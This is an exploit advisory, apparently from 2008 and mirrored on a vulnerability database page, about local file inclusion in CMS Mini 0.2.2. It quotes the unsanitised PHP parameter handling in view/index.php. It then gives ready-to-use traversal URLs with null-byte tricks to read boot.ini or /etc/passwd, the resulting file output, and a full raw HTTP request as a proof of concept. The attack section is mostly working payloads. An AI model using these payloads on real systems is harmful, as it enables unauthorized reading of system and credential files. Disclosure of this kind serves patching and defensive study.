CMS Mini 0.2.2 Multiple Local File Inclusion Vulnerabilities

🗓️ 23 Jun 2008 00:00:00Reported by RootType
CMS Mini 0.2.2 Local File Inclusion Vulnerabilities. Exploitable path parameter allows access to sensitive system files

                                                AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;22&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;CMS&nbsp;Mini
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;0.2.2
&nbsp;VENDOR	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.cmsmini.it/
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/cmsmini
#####################################################

---&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;---

----------------------------
&nbsp;Vulnerable&nbsp;File&nbsp;[view/index.php]
----------------------------

@Line&nbsp;5

&nbsp;&nbsp;&nbsp;20:&nbsp;&nbsp;if(&nbsp;!is_dir('../pages')&nbsp;)&nbsp;header(&quot;location:&nbsp;../admin/login.php&quot;);
&nbsp;&nbsp;&nbsp;21:
&nbsp;&nbsp;&nbsp;22:&nbsp;&nbsp;$path&nbsp;=&nbsp;$_GET['path'];
&nbsp;&nbsp;&nbsp;23:&nbsp;&nbsp;$p&nbsp;=&nbsp;$_GET['p'];
&nbsp;&nbsp;&nbsp;24:&nbsp;&nbsp;$msg&nbsp;=&nbsp;$_GET['msg'];
&nbsp;&nbsp;&nbsp;25:&nbsp;&nbsp;$pext&nbsp;=&nbsp;strrchr($p,&nbsp;'.');
&nbsp;&nbsp;&nbsp;26:&nbsp;&nbsp;if(&nbsp;$path&nbsp;)
&nbsp;&nbsp;&nbsp;27:&nbsp;&nbsp;$dirpath&nbsp;=&nbsp;'../pages/'.$path;
&nbsp;&nbsp;&nbsp;28:&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;29:&nbsp;&nbsp;$dirpath&nbsp;=&nbsp;'../pages';


---------
&nbsp;Exploit
---------
[+]&nbsp;http://[Target]/[cmsmini_path]/view/?path=../../../../../../../../boot.ini%00&amp;p=index.html
[+]&nbsp;http://[Target]/[cmsmini_path]/view/?path=cwh&amp;p=../../../../../../../../boot.ini%00.html

&nbsp;&nbsp;&nbsp;&nbsp;This&nbsp;exploit&nbsp;will&nbsp;open&nbsp;boot.ini&nbsp;in&nbsp;system&nbsp;file:

[boot&nbsp;loader]&nbsp;timeout=30&nbsp;default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&nbsp;[operating&nbsp;systems]&nbsp;multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS=&quot;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Professional&quot;&nbsp;/noexecute=optin&nbsp;/fastdetect&nbsp;[boot&nbsp;loader]&nbsp;timeout=30&nbsp;default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS&nbsp;[operating&nbsp;systems]&nbsp;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=&quot;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Professional&quot;&nbsp;/noexecute=optin&nbsp;/fastdetect

&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;can&nbsp;change&nbsp;boot.ini&nbsp;to&nbsp;/etc/passwd%00&nbsp;in&nbsp;linux&nbsp;OS.

-------------
&nbsp;POC&nbsp;Exploit
-------------

[+]&nbsp;GET&nbsp;http://192.168.24.25/cmsmini/view/?path=../../../../../../../../../../boot.ini%00&amp;p=index.html&nbsp;HTTP/1.1
[+]&nbsp;Host:&nbsp;192.168.24.25
[+]&nbsp;User-Agent:&nbsp;Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;en-US;&nbsp;rv:1.8.1.14)&nbsp;Gecko/20080404&nbsp;Firefox/2.0.0.14
[+]&nbsp;Accept:&nbsp;text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+]&nbsp;Accept-Language:&nbsp;en-us,en;q=0.5
[+]&nbsp;Accept-Encoding:&nbsp;gzip,deflate
[+]&nbsp;Accept-Charset:&nbsp;ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+]&nbsp;Keep-Alive:&nbsp;300
[+]&nbsp;Proxy-Connection:&nbsp;keep-alive


##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
23 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1